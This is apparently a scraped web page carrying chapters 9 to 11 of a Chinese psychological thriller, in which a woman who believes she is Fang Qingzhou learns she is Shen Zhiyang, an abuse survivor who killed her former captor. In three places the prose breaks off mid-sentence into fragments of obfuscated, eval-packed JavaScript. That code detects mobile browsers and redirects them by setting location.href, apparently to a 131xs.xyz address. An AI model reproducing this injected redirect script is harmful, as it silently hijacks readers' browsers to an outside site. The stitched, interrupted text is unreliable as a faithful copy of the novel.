l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278581|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呼救。
如果没有被扼断自欺欺人的退路,她不会去质疑自己的过去。
可是没有人的过去会是片段式的,跟文件夹一样分门别类,只保留着正向的部分。
她始终下意识地忽略,但这实在太不合常理。在季和询问她要不要察验视频的真伪时,她甚至搜索不出相关的技能。
她不认识这个面目全非的方清昼。
……那她应该是谁?
在她接受这个念头的瞬间,数道声音在她耳边争先恐后地响起,恶意地拉扯住她的双脚,要将她拽入更深层的噩梦。
先是周随容低声的祈求,来自语音留言:“打给我,好吗?我想跟你说说话。”
再是一个人讶然的挖苦:“没想到你现在过得还不错,像个正常人。”
以及刚才让她灵魂震颤的那句:“方清昼,其实你跟我们没有哪里不一样,都是一副干枯的骨架……”
“……”
信息混杂地缠绕在一块儿,带着无法统一的违和。方清昼感觉世界天旋地转,身体失去重心,整个人在昏昏沉沉地飘着。
视野诡谲地扭曲起来,猝然闪过几个颠倒的画面。
横陈着尸体的血泊、浓烈的猩红、弥漫着铁锈味的空气。
一股巨大的悲伤忽然袭涌上来,一瞬间冲溃了她的所有理智,眼泪不受控制地流出,打湿整片阴冷的场景。
方清昼跌跌撞撞地跑向厕所,没注意到季和二人是什么时候离开的。
她打开水龙头,舀起凉水泼到自己的脸上。闭着眼睛,幻听到一阵毛骨悚然的尖叫。
陌生的记忆如开闸的洪水一样接连不断地冒出头。
她听见一个人在隔着门板跟她说话。声音因距离而变得混沌不清,而她的视野更加模糊,大概是在盯一块破碎的玻璃,惨白的灯光悬在她的头顶,她眼前闪烁着无数碎裂的白色晶块。
“你知道那个变态为什么要绑架她吗?”
她听到自己在回答:“听说过一点。”
对方解释:“吕坚承有个女儿,在一场意外的火灾中面部烧伤,少掉了一半的鼻子。他推着女儿去公园散心的时候,遇到了沈知阳。
“沈知阳盯着他女儿看,说她很像小花红。
“小花红是一部动画片里形象拟人的狗,喜欢穿红色的连衣裙,很受小朋友欢迎。那几集的剧情里它刚好受伤坐在轮椅上,接受同伴的帮助。
“他女儿问小花红是什么?沈知阳就说是小狗狗。他女儿误以为她在羞辱自己,哭了出来。没过几天,冲到马路中间自杀了。
“那变态认为是沈知阳逼死了自己的女儿,把她关进地下室,让她想象自己是一条狗。”
“最初的惩戒手段应该是拔牙齿跟剥指甲,但是吕坚承很小心,发生的时间又实在太久了,沈知阳的身体没有出现明显的功能障碍或者其它严重损伤……伤情很难作为一项有力的证据。总之……太可怜了。”
说话的人没有直白地劝方清昼帮忙负责,只是婉转地传达出了这样的偏向。
“普通的矫正治疗,不知道她要多少年才能认识到自己是个人,又要多少年,才能适应人类的社会生活。这个过程无疑是漫长的折磨。从另外一个角度来说,这是不是也可以称之为一种‘驯化’?又或者,跟她父母一样,让她保持懵懂无知来作为选择?您觉得呢?”
方清昼感觉到自己的牙齿也开始无端出现钝痛,她攀着洗手池,惊恐地将手伸进口腔,摸到了一排齐整的牙齿,稍稍安下心来。
她有牙。完整的牙。那不是她。
她用指尖用力地摇了摇,少顷确认牙齿没有任何松动。
可是跟之前的头疼一样,这阵钻心的痛感无法缓解,她单手扶着墙面,半跪到地上,任由裤子被地面的水渍打湿,快要晕厥。
“你在牙疼?”
身后蓦然的声音简直堪比昏睡时抽打过来的一记雷鞭。方清昼猛地回过头。
后面站的是昨晚见过的医生。
她带着口罩跟鸭舌帽,一身黑色的运动服,刚从外面回来,裸露在外的皮肤被晒出成片微红的血丝。
她在门口稍作停留,转身离开。没过多久,两位医生走了进来,将方清昼带到床上,取出一根针管。
方清昼透过半开的门,看到了狭长的走廊。那里投映着一个人斜长的影子。
又转过头,望向被防盗网锁住的窗户。
那里框着一角蔚蓝的天空。
9.离开
方清昼回想起来,她来过这间病房。
在数年以前。
这里就是安置过沈知阳的地方。
四四方方的房间,她站在门口的位置,柔声询问里面的人:“你喜欢外面的天空吗?”
窗边的人闻声回头。
“以前很少见到吧?”方清昼问,“那你为什么不出去?”
沈知阳两手紧紧抓着不锈钢的护栏,看了她一会儿,又转过头看着窗外。
许久等不来她的回答,方清昼说:“你是在害怕那扇关紧的门吗?因为他不允许你出去。”
……
方清昼醒了过来,从床上坐起。
昏睡前那片刺眼的阳光消失得无影无踪,房间里飘荡着独属于深夜的寂静。
有那么短暂的片刻,方清昼误认为自己流落在黑暗的中心。
她摸了摸右手的旧伤,不平整的创面通过触觉摹绘在她脑海中,呈现出丑陋的模样。她赤着脚,踩到地面上。
她还记得梦里那场对话的后续。
清晰得简直是深深刻印在她的灵魂里。
——“这扇门的密码是620378。打开后是一条狭长的走廊。两侧一共有十二间病房。”
方清昼走到门前,每一个动作都显得无比的迟钝,指尖凉得没有知觉,一个个数字地输入密码。
“咔哒”一声轻响,触控屏上所有的数字亮起,门锁开了。
她吸了口气,拉开门板,扭过上身,望着自己投在身后的影子,踯躅地走了出去。
——“通往安全出口的楼梯通道,以及电梯前面的大门,都需要密码配合刷卡,而且上方安装了两个监控摄像头,你需要避开。
——“在你的右手方向,走廊尽头的倒数第二个房间,那里是个空置的休息室。”
空旷无人的走廊,方清昼赤着脚一步步向前。
——“我不会上锁。你可以直接开门、进去。那里的窗户没有安装防护栏。”
——“这里是一楼,从窗户跳出去,只要你跑得够快,你就可以离开这家精神病院。”
方清昼拧动门锁。
走廊的光线照进堆满杂物的房间,里面的灰尘汹涌地扑了出来。
她掀开眼皮,注视着对面那扇长方形的玻璃窗。
——“外面的世界没有栏杆。”
——“沈知阳,希望你下次醒来的时候,可以走出那扇门。”
横亘在中间的桌子上,刻意地放着两百块钱现金,以及一双鞋子。
方清昼眼眶无端湿热,带着她尚无法接受的、某种沸腾的情绪。
她放弃思考,清空大脑,抓起桌上的现金,穿上鞋子,从窗台跳了出去,落地踩着一片柔软的草坪。
夏末夜晚的风,潮湿而喧嚣,皮肤上残留的凉意顷刻被热浪驱散,如同周身被一团无形的水环抱。
方清昼拔腿朝着远处的大门狂奔。
门卫坐在保安亭里,懒懒地趴在桌上,目送她离开。
方清昼气息紊乱,沿着树影憧憧的长街毫无目的地行走。
一辆出租车亮着灯从后方驶了过来,发现路边的人影,朝她闪了闪。
方清昼伸手拦下,拉开车门,坐了进去。
司机调整了下后视镜,与她隔空相望,询问:“小姑娘?去哪里?”
方清昼捏着两张纸币,千头万绪如同层层厚重的锈斑,堵住了她理智的所有孔缝,让她的大脑无法运转,只是呆呆地坐着。
司机未作催促,缓缓起步,沿着马路朝前开去,同时热情解释道:“这里不能长时间停车,我先这么开着啊。”
方清昼眨了下眼睛,决定回到记忆最开始的地方,沙哑着开口:“花园酒店。”
“好嘞。”中年男人爽快应声,踩下油门疾驰而去。
车辆穿过荒僻的郊区,窗外逐渐出现成片连绵的灯火。
高楼各处璀璨的光点,如同高空洒落的明珠,照出了这座城市的繁华。
在无数相叠流转的影子中,方清昼再次站在酒店的门口。
她举目四望,毫无方向。在艰难地思索后,决定先找台电脑。
她打算找个路人借手机导航,可是深夜的行人不多,目光搜寻间,不期然看到街对面亮着一盏蓝色的灯光牌,上面就写着硕大的“网咖”。
她失魂落魄地走进网咖大门,迎上网管的眼神,才“啊”了一声,说:“没带身份证。”
网管说:“没关系,刷我的吧。机号3区18。”
方清昼把司机找零的钱全都给了他,头也不回地往里走。
她找到对应的机位,开机后,在搜索栏中输入【异常测定】。
绝大多数的内容都被屏蔽删除,首页仅剩下少量的不完整的快照记录。
方清昼点击退回,转而查找与孙青青相关的信息。
这次跳出来满屏的新闻报道跟案件讨论。
作为曾掀起过全城轰动的恶劣刑事事件,时至今日仍会有人做完整的案件分享。
各篇长文中的关键信息与季和所说的大同小异,只是关于孙青青后续的情况,网友猜测得五花八门。
目前能追溯到的最近期的线索,是六年前孙青青母亲做过的一场直播。
直播当时的场面可以说是天崩地裂,还登上了当时的热搜。之后孙青青再没了消息。
有人猜测她被关进了精神病院,有人认为是孙青青的父母再一次让她“走失”,更多人认为她已经遇难,毕竟照顾一个没有自理能力的人,太容易出现各种意外。
孙青青的父母多次反驳,发觉澄清无效后不再出声。
方清昼找到了直播的截图,感觉里面的人都有些眼熟。
A市说大不大,说小不小。他们或许在不知名的地方见过。
她又搜索了自己的名字,跳出来许多获奖的报道。中间夹杂着一篇采访记录。
记者问方清昼,是不是工作太劳心费力,所以才那么瘦。周随容在旁边插话,用束手无策的语气说她太挑食,什么都不吃,擅长挨饿。
方清昼笑了笑,返回页面,把自己这两天听到过的名字逐一检索了遍,没能填补胸口那种巨大的空洞。
机械式地做完这段无意义的行为后,她关掉网页,走向前台。
年轻的网管在她走近前就在盯着她,眼睛微微睁大,那明显不是看陌生人的眼神,而是在表达迟疑跟惊讶。
方清昼蓦地灵光一闪,收回原本要说的话,一手搭着柜台,装作熟稔地跟他点头:“你好。”
网管呼出口气,弯腰点动鼠标,说:“酸辣粉微辣不加麻多加香菜是吧?”
方清昼张了张嘴,想说自己应该不吃辣,更不吃香菜。
她点点头,说:“原来今天是你值班啊。”
“对啊。刚才你进来的时候,我还以为你不记得我了。”网管笑起来的时候,脸颊边有个酒窝,担心地问,“脸色那么差,你没事吧?”
“我没事。”方清昼从口袋里摸出剩余的纸钞,状似不经意地问,“我上次来是什么时候了?”
网管低头给她找零,说:“也就几天前吧。对了,你的事情办完了吗?”
他把零钱还回去的时候,顺便推过来一个信封:“这个先还给你。”
方清昼只拿了信封,手指捏了捏,判断里面是钥匙,还有一张卡,心神不定地道:“钱都给你了。”
网管懵道:“啊?”
方清昼问:“我为什么把它放在你这里?”
“你那时候说得很奇怪。说自己最近总是丢三落四,想把钥匙寄存在我这里,等你处理完手头的事再回来拿。如果超过一星期没来,让我一定要打电话提醒你一下。”网管打趣道,“你不会真忘了吧?这才多久啊?推荐你喝点安神补脑液。”
方清昼说了声“谢谢”,脚步虚浮地往外走。
她在门口拆开信封,倒出两把钥匙,一张门禁卡,以及一张写着地址的纸。
方清昼抬起头,朝前走了一段,果然看见一个高高杵立着、写着相同名字的小区指示牌。
方清昼怔然,意识到这是自己认知尚未彻底混乱时,给自己留下的信号。心脏抑制不住地开始狂跳,产生了一种退缩的念头。
她的身影在路灯下凝滞良久,最终还是迈开脚步走了进去。
方清昼游魂似地找到对应楼栋,刷卡、开门、上电梯。
拧开最后的门锁时,她内心的惊惶到达了顶峰,心脏仿佛要从胸腔里蹦出来,顶住她的喉咙口,让她无法呼吸。
“嘎吱”一声响动。
门开了。
方清昼推下手边的一道开关,客厅白色的灯光随之照亮了房间的布局。
整洁明亮,沙发等大型家具上铺着层塑料布,看起来已多年无人居住,上面落了厚厚一层灰。
她的注意力不受控制地落在厨房那个冰箱上。眼珠像是被什么牵引着,无法动弹地注视着下方的冰柜,犹如里面藏着时间最悚怖的真相。
她拖拽着沉重的脚步走过去,在即将打开冰箱门的前一刻,又缩回了手。一步步后退,退到了客厅灯光照不到的黑暗里。
方清昼睫毛颤动着,屈服于来自本能的强烈恐惧,两腿根生在原地,怀疑自己要融化在这瘆人的死寂里。
直到未阖紧的大门再次被人推开,一个戴着黑色机车头盔的女人走了进来。
方清昼陡然回神,惊骇中朝着台面的刀架扑去,抄起一把菜刀,转过身来。
对方坚硬的鞋底在瓷砖上发出清脆的踩踏声,身形削瘦而挺拔,侧身绕过餐桌时,灯光在她的肩背打出流畅又漂亮的线条,带着可以让方清昼呼之欲出的熟悉感。
是医院里的那个医生。
她顺手将钥匙扔在了桌上,踱步到冰箱旁,单手拉开一条冰柜门的缝隙,朝里看了一眼,身形定住两秒,再镇定地合上。
从方清昼的角度,没能看见冰箱里的东西,视线中晃动着的全是对方优雅细长到如同艺术品的手。
连同修剪得干净平整的指甲、弯曲的指节、冷白的皮肤、青色的静脉。
正是这双手,在多年前的春末,像是迎接着她,朝跳下窗台的她伸了出来。
等她交握上去的一刻,它的主人对她说:
——“欢迎来到,人类的社会。”
此
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284646|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时,在她咫尺之距的眼前,女人慢动作似地转向她,摘掉了遮挡的头盔,露出一张素净的、端秀的脸。
——属于方清昼的脸。
“嗬……”
“方清昼”瞳孔的焦距散开,双手无力地垂落。刀尖“哐当”一声砸到了地板上,迸裂开一小片锋利的刀片。
她瘫软地坐到地上,背靠着厨台,偏过头,从一旁消毒柜金属外壳的反光上,看到了自己朦胧的五官。
偏圆润的眼型,弯曲的眉毛。
她是沈知阳啊,她根本不是方清昼。
酒店被她打碎的镜子。
攻击和反抗的本能。
饮食习惯的矛盾。
立场的偏移。
季和对她杀人动机的漠视。
记忆的不协调……
以及各种、各式……
所有混沌的思绪全部得到了印证,刺激得她头疼欲裂,同时又止不住地恶心作呕。
她弯下腰吐得昏天暗地,直要将胆汁都翻涌出来。双手在空中无助挥舞,试图攀住什么能让她在这动荡不安的悲剧中依靠的浮木。
在感受到对面的人在朝她走近,沈知阳一把抓住了这个让她下意识信赖依靠的人,大张着嘴,如同濒死的鱼在急切地挣扎、奋力地喘息。
每一次呼吸,都有新的记忆从窒息的痛楚中钻出来。
她想起母亲站在病房的门口,对着她掩面痛哭道:“你不要这样看着我,没有一个正常孩子会像你这样的。”
想起她脱离了生活的禁锢,离开精神病院,开始崭新的生活后,却在A市见到了吕坚承。
对方在她的喊叫中回头,透明镜片反射着白色的冷光,遮挡住后方的眼神。可他语气中的阴冷跟憎恶,还是将他的态度展露无余。
他没有丝毫的悔意,反而对着她讽刺道:“没想到你现在过得还不错,像个正常人。”
想起自己在公园里的厕所边上狰狞地挥刀砍向了他,再把尸体塞进了一个冰箱。
中间断断续续,节点处隐约还缺失了点什么。
记忆碎片的边缘处,常来她咖啡店的一个男人,蹲在她面前对着她说:
“等你见到方清昼,我希望你帮我给她带两句话。
“你看,你赐予她安宁、平静,赐予她新生,可是你也解决不了她的痛苦。
“方清昼,其实你跟我们没有哪里不一样,都是一副干枯的骨架,游荡着寻找新的血肉。可那些只是装饰,你的底色只有冷漠。”
故事的结尾,经历残缺的、被跳过的段落之后,她被仓促地塞入了第二段虚构的人生。
多种迥然不同的记忆在顷刻间互相冲击,真与假崩坏又重构,沈知阳痛哭流涕,她紧紧抱住方清昼伸来的手,将额头抵着她的掌心,抽泣着倾诉道:
“我看见他的时候,我就想起来了……
“他出狱后结婚了,跟以前认识的一个女人。对方明明知道他是个什么样的人,还是给他生了一个小孩。他们去了一个新的城市,我听见那个女人说他是个好爸爸,我觉得很不公平……”
“对不起……”
·
居民楼前的路灯下。
季和拿着个空易拉罐当烟灰缸,坐在花坛边上沉闷地抽着烟。
青年看了眼时间,在楼房门口打着圈地走动,耐心告罄后,小步挪动着地坐到季和身边,压着嗓子问:“这都快半小时了,师父,我们不上去吗?”
季和的脸黑得能散出寒气来,斜眼睨去,不耐道:“让你等,你就等着。已经陪她们玩了那么长的角色扮演,现在还急什么?沈知阳要是这会儿真崩溃自杀了,责任是你背还是我背?”
高大青年原地化身鹌鹑,乖巧地“哦”了一声。
季和咬着烟头磨牙,腮帮子轻微鼓动,阴恻恻地笑了出来:“还是第一次有人那么强硬地跟我命令,‘你必须得听我的。’。呵呵。”
青年瑟瑟发抖。抖得漫天蚊虫都无从落脚。
一只手拍了拍他的肩膀。边上的中年同事弯腰靠了过来,在他耳边和善说道:“赵戎,如果你记不住的话,我不介意把‘沉默是金’几个字,刻在你的背上。”
赵戎:“……”
季和瞥一眼他的怂样,怒火又飙升两个点,嘴里不由“啧”了一声。
赵戎很有眼力见地站起来,主动提议道:“师父,要不我给您的眼睛腾个地方?我去门后面等着吧。”
季和臭着脸说:“说了在外面不要叫我师父。”
“为什么啊?”赵戎难受道,“我们不是一伙儿的吗?你不会真想找机会把我踢出刑警队吧?”
季和摁灭烟头,说:“我怕外人误以为是我带的你。”
赵戎:“……?”
难道不是吗?他可是季和的亲徒弟啊!
边上同事用带着烟味的大手一把捂住他的嘴,往不碍眼的地方拖了拖,救下他的小命。
马上就要到办案阶段的文书工作了,这位愣头青的性命是金贵的。
季和摸出手机,查看了一下聊天记录,确认没有新信息,又对着已经调到最大的音量连着按了几次“+”,才放回到手边。
10.YCCD-001
沈知阳哭得睡着了,眼泪还挂在脸上。
方清昼用手指轻轻蹭了下她的下巴,指尖抹掉了湿润的泪水。
她抬起头,窗外正对着的楼房里亮着几排灯光。两栋居民楼离得太近,她能看见光线簇拥下的两个依靠着的影子。
显得沈知阳特别的孤独。
实际上,方清昼第一眼见到沈知阳的时候,没有看出她对自我的认知定位有严重错误。
梁老师去世后,她决定去了解一下这位让师长临终尤在牵挂的受害人。领路的护士给她播放了沈知阳家中的监控。
多数时候,沈知阳没有太过异于常人的举动,不是那么难照顾。她喜欢一个人蹲在角落,对着窗户发呆。
事情的起因是她刚满十岁的弟弟,趁着父母不注意,在沈知阳吃饭的时候,一脚踢翻了她面前的碗。
男孩做完这个动作后立刻朝监控摄像头的方向看去,眼珠滚动着想表现出无辜的模样,只是以他这个年纪的能力做得不够自然,反而显得鬼头鬼脑。
还没来得及跑路,沈知阳已发出一声细长的尖叫,扑过去咬住了他的手臂。
这一口的力道近乎要生生撕扯下他的血肉。男孩当即痛得嚎啕大哭,使劲拉扯沈知阳的头发,歇斯底里地发出求救:“爸——爸!”
父亲听到哭喊冲过来,跟着急红了眼,用手指去掐沈知阳的下巴。
可沈知阳的战斗力极强,仿佛不知疼痛,脸上皮肤被捏出几道明显的红肿都没有松口,直到父亲开始一手掐她的脖颈,一手捂她的鼻子。她无法呼吸,脸憋得青紫,才怨恨地松开了牙关。
父亲就着余劲将人一把掀飞,掼到了地上。
沈知阳在地上翻滚了两圈,撞到墙壁后停了下来,她像只蓄势待发且野性难驯的猛兽,人没站稳,就去抄起地上的不锈钢饭碗,“哐”的一下全力砸上她爸的脸。
中年男人脚步踉跄,俨然被砸得眼冒金星,发红的脸上满是不敢置信的神色。
此时妹妹也过来加入了混战。她试图去抱住沈知阳的腰,被后者抬腿一脚给轻松撩开了。
女孩儿坐在地上,扯着嗓子惊悚地大喊:“她发疯了,妈——!妈她又疯了!”
弟弟捂着伤口跑开,扑进从卧室跌跌撞撞赶过来的母亲怀里。
母亲吓得心惊肉跳,抱着儿子悲泣道:“为什么会这样啊?这个家到底为什么会变成这样!”
此时父亲终于制住了沈知阳,膝盖顶着她的背,将人牢牢按在地上。
沈知阳双腿不安分地踢踹,脸还在冲着男孩的方向龇牙咆哮。她的嗓子早已嘶哑,发出的声音粗得像是含着血沫。
各种高低起伏、近乎刺破耳膜的怪叫连在一起,宛如一场世界末日。
母亲搂着男孩儿,回去拿了条毛巾,按住他血流不止的手臂,哭嚎着将人带出房间。
几人相继离开,沈知阳迅速恢复了安静。
父亲心力交瘁地放开她,一屁股坐在地上,历来健壮威严的男人,垮塌着肩膀,慢慢的,也开始放声哭起来。
沈知阳无动于衷,摸摸自己脖子上的伤口,起身走到了另外一边。
方清昼看完后有点震撼于她的彪悍。简直是个坦克式的战将。
但方清昼的第一直觉并不认为她是应激后的暴怒,更像是直白感受到了来自敌人的羞辱,所以坚定地护卫。牙齿不过是她唯一锋利的武器。
这个观点多半无人认同。
护士收起手机,叹息着道:“梁教授发现她身上有伤,帮忙报警,这是他们主动交给警方和妇联的视频。大家坐一起商量了下,但问题的根本难以解决。”
“妇联的人联系到我们,询问我们能否暂时帮忙接收,我们同意了,把人带了过来,单独安置在这个房间。可是她的情况,我们这边的医生也没有适合的经验,毕竟她不需要打针吃药,她不是身体出了问题。”
她说着停在一扇门前,拧开后侧身让出一半的位置,示意方清昼先从缝隙观察一下沈知阳的情况。
“她蹲在左边靠窗的那个角落。陌生的环境会让她很不安。不过可能是因为她刚从地下室出来的时候就被送来过我们这里,面对我们的状态还算稳定。”
她怕方清昼误以为沈知阳无药可救而放弃帮助,一个停顿都不带地补充道:“对比起刚开始,她的情况已经改善了非常多。那时候我们没注意,有三个同事不慎被她咬伤。”
方清昼靠近,凝视着角落里蜷缩成一团的身影,过了会儿才问:“为什么?”
护士详细地解释:“一个是因为想要解掉她脖子上的项圈;一个是想让她学着睡到床上;还有一个是给她送了一顿饭,看她把饺子扔到地上再去舔,下意识想要阻止她。因此我们才确定,她的自我认知出现了问题。”
沈知阳对外界的动静有很及时的反应,听见声音后一直抬头注视着大门。
方清昼与她四目相对,问:“她能说话吗?”
护士言辞慎重地道:“幸运的是她还具备一定的语言功能,因为吕坚承偶尔会逼她背诵一些艰深拗口的论文片段来精神折磨她。但目前还无法跟我们建立正常的沟通,只是鹦鹉学舌。她缺乏社会认知,对特定行为有难以扭正的坚持。最开始的时候,还极端排斥陌生人。据说老师教会她如何独立上厕所、用餐具吃饭、在床上睡觉,就用了三四个月的时间。他父母见希望渺茫,不再怎么积极配合。”
沈知阳见两人长时间停在门口,没了兴趣,继续侧仰着脑袋,对着窗外发呆。
说明不怕生人,只是会对某些特定的语言和行为做出强烈的应激反应。
方清昼跟着收回视线,没什么感情地说:“我查了下,当时募集到的社会捐款,少说有四五百万。”
护士心绪复杂,即便见多了类似的情况,仍是有些唏嘘,低敛着眉目道:“可是她才十六岁。24小时的护工看护,再加上特殊的矫正治疗,需要的费用远远超过他们的预算……他们更优先考虑另外两个小孩未来的生活。这是很残酷的现实……”
方清昼点点头,迈步走了过去。
护士怕她会轻举妄动,在后面小心喊了一声,紧张地跟了上来。
方清昼站定在沈知阳的面前,叫她的名字,等她将注意力转到自己身上,朝她伸出了手。
沈知阳的眼神顿时变得有些慌乱,先是盯着她的手心,再是求助地望向她的脸。
直到方清昼摊平手掌,说了句“右手”,她才有些高兴地听从指令,搭了上去。
护士肌肉紧绷,时刻准备着在冲突爆发时将方清昼拉走,意外看到少女脸上绽放出的笑容,觉得万分刺眼,紧紧皱起眉头。
方清昼握着她的手转过方向,带动着上下轻轻晃动,告诉她:“这个才叫握手。”
沈知阳找到了自己习惯的状态,对方清昼表现出额外的亲切,不自觉身体前倾朝她靠近了一点。对方清昼的碰触也没有再进行回避。
只是表情中带着些茫然。
护士胸腔泛起一股浓烈到几乎胃部作呕的憎恶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292739|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情绪,紧跟着又被一股难言的悲凉感冲得眼眶发红,忍不住内心的酸楚,小声道:“她以后怎么办?她父母不大可能接她回去了。她留在那种环境里,也无法得到多少改善。”
方清昼蹲到她身侧,顺着她的视角往外看。
玻璃有些模糊,上面交错着各种杂乱的划痕。今天的天气也不明郎,是成片浑浊的灰,搅混了一格格框在窗户里。
可是沈知阳看得目不转睛。
方清昼先是轻轻碰了碰她的手臂,沈知阳没有反应。
方清昼又加大力气推了推她,指向窗户。
这次沈知阳对着她看得久了点。
或许是先前的互动留有成效,沈知阳大方地给她让出了一点位置。
方清昼确定道:“你很喜欢外面的天空。”
沈知阳没有回答。
护士张了张嘴,感觉有什么闷闷的哽在喉咙口,又吐不出能描述心境的话,挫败地别开视线,心头是一片深不见底的无力感。她想到什么,试探地问:“我听说过梁教授那个项目。你可以帮她吗?”
方清昼默不作声,环顾一圈房间摆设,走到桌边拿起一本书。
护士绞尽脑汁地多说,妄图打动她:“这是我们给她准备的绘本。她经常会翻。破旧不是被她折损的,我们收到捐赠的时候就有。”
方清昼翻了两页,放下书。再次朝沈知阳伸出手,强调过正确的姿势后,扭头对护士道:“我明天再来看她。”
第二天,方清昼带来一个巴掌大的蓝色小夜灯。
拍一拍,里面的光线会照亮出一幅天空的图案。浅蓝色的底布上飘着几片棉絮似的白云。
沈知阳挪不开眼睛,身体小幅度地动了动。
方清昼熄灭夜灯,给她示范了两次。
于是沈知阳学会了开灯。
护士本想说不能留危险物品在房间里,见沈知阳好奇地、轻轻地把脸贴到那盏灯上,酸涩地把话咽了回去。
这次离开的时候,沈知阳在方清昼坚毅眼神的注视中,不情不愿地学会了握手。
送她出门时,护士拐弯抹角地恳请:“她有学习能力,不是吗?她还挺聪明的。”
方清昼回避道:“是的。”
方清昼的行程里排着一堆的工作,再抽出空,已经是隔了几天。
这次她带来了一沓的绘本。
护士不报什么期望了,给她讲述了沈知阳近期的状况。说到一件小事,苦笑说:“她宝贝地给我展示了她的灯,我想教她跟你多说话……可惜她什么都不懂。”
方清昼正听着,沈知阳主动朝她伸出了手。
方清昼有点受宠若惊。
沈知阳拉着她走到墙边,指着上面用指甲抠出的一张笑脸。
沈知阳的指甲被护士剪得很短,以防她发狂时会把人挠伤。她贴着墙面,一点一点地抠出痕迹,指缝里还留着条暗红的血线。
她手段稀缺,懵懂无知,连喜怒哀乐都不擅传达。
可是她学会了沟通。
或许是意识到了方清昼的特殊,哪怕并不明确,她依旧努力地做出了尝试。
这让方清昼觉得她像是一盏接错了线路的灯。
她本来可以发亮,但是后来短路了。
可她还是想发亮的。
方清昼弯腰对着那张笑脸看了许久,下定决心,转头对护士说:“请帮我联系一下她的监护人。”
从此之后,沈知阳在三夭有了一个特别的记录档案:YCCD-001
11.过去
季和抽了两根烟,手机还是跟死了一样的没动静。连日熬夜带来的强烈困倦让她止不住地阵阵头疼。为了防止不久之后自己的名字会出现在殡仪馆的火化名单上,她烦躁地一捏烟盒,扔给了边上的青年。
赵戎迅速揣进兜里,给她藏好,展臂在半空挥了挥,加速散味。
季和拿着那台还没拥有生命,已被判处死刑的破手机,索然无味地往上翻看聊天记录。
很快就到了顶。
上面的小字显示着她跟方清昼成为好友的时间:8月25日。
5天前。8月25日。
警方查到了沈知阳的入住记录,在她准备离开酒店时顺利将其抓捕。
现场遗留痕迹诸多,加上附近的监控视频,案件侦破几乎是顺理成章的事,没有给嫌疑人留下太多狡辩的空间。
只需要再拿到沈知阳的口供,找到她的藏尸地点,破案工作就可以快捷、高效、完美地划下句号。
然而等将她带到分局讯问室,没聊两句,所有人都傻眼了。
沈知阳神经质地重复自己的身份是方清昼,严厉控诉他们的暴力行径。甚至异想天开地认为他们是潜伏在A市的一个特大诈骗团伙。
分局的刑警勃然大怒,警告她不要再装疯卖傻,根据研判她过去的活动轨迹,找到尸体不过是时间问题,只不过他们要多看无数没用的监控视频。
场面实在太过诡异。双方仿佛在用同一种语言进行着不同系统的交流。
对峙到后来,一同事忍无可忍,开启手机的自拍功能,把屏幕怼到她的面前质问道:“你自己看看你是谁!你是哪门子的方清昼?!这个才是方清昼!”
沈知阳猝然色变,突发头疼,惨叫着晕厥过去,那痛苦哀嚎的画面,将所有人吓得魂飞魄散,以为差点将人逼死在刑讯现场。
讯问人员冲出来喊“快送医院”的时候,两腿都在打着摆子。地砖再滑一点,就可以当场跪下。
如果沈知阳的反应是装的,今日娱乐圈影后之位必有她一席之地。
季和只能将真正的方清昼叫到分局配合调查,询问情况。
两人第一次的照面,令季和过于印象深刻。
方清昼不仅没有涉案嫌疑人该有的自觉,反而带着种莅临指导般的自如,走进招待室的姿态仿佛是这个空房间真正的主人。
她单手拉出椅子,沉稳地往光下一坐,浓黑的眼睫与光洁的鼻梁在脸上打出分明的阴影,那几张寒酸的破凳子顿时都感觉配不上她超然的气质。
不过她开口的第一句话还是谦逊的,她说她暂时不知道沈知阳身上又发生了什么。
这个“暂时”和“又”充满了灵性,季和恍惚中听到了鱼咬饵的声音。
她估计鲜有人能抵挡得住这个诱惑,果不其然边上的赵戎没多犹豫一秒,直愣愣地把自己挂在钩上了,单纯地问:“为什么是暂时?”
方清昼双手交叠放在腿上,没有一点多余的掩饰跟铺垫,说:“你可以给我看一下你们现有的资料。”
季和翘着腿,手指不轻不重地敲了下桌面。赵戎敏锐地接收到信号,当即板起脸道:“你回答我们的问题就可以了。你是怎么认知沈知阳的?”
方清昼思忖了下,说:“你们这样询问,我不知道该怎么回答。因为我跟她之间绝大多数的关联,都属于不能对外告知的隐私。”
她思考的动作显得刻意,更像是一种礼貌性的举动,以免自己的拒绝会让对方感到冒犯。
紧跟着再次打探:“是不是她的认知出现了什么问题?”
“所以你知道?”季和翘着条腿,也是笑得一脸温良,“她深信自己是方清昼。你说怎么会有这么可笑的事情?”
方清昼这次没有保留,将【异常测定】相关的内容删繁就简地解释了下。
季和听得面沉如水,带着质疑的语气跟她确认:“所以你,给她重塑了一个人格?”
方清昼对着她脸看了数秒,明哲通透的眼睛像是在隐晦地做着什么评估,随即改掉了自己简扼的说话风格,详细地补充进一些她先前主观剔除的信息。
“刚开始的时候,她脑海中没有概念相关的存在,我们不可能对她进行所谓的记忆修改。我们借用了一定的辅助手段,给她灌输了大量的理论知识。包括部分常用文字、少量的英文、简单的数□□算,以及大量的现实图片,帮助她建立起对外界的基本认知。这个过程花费了数年的时间。”
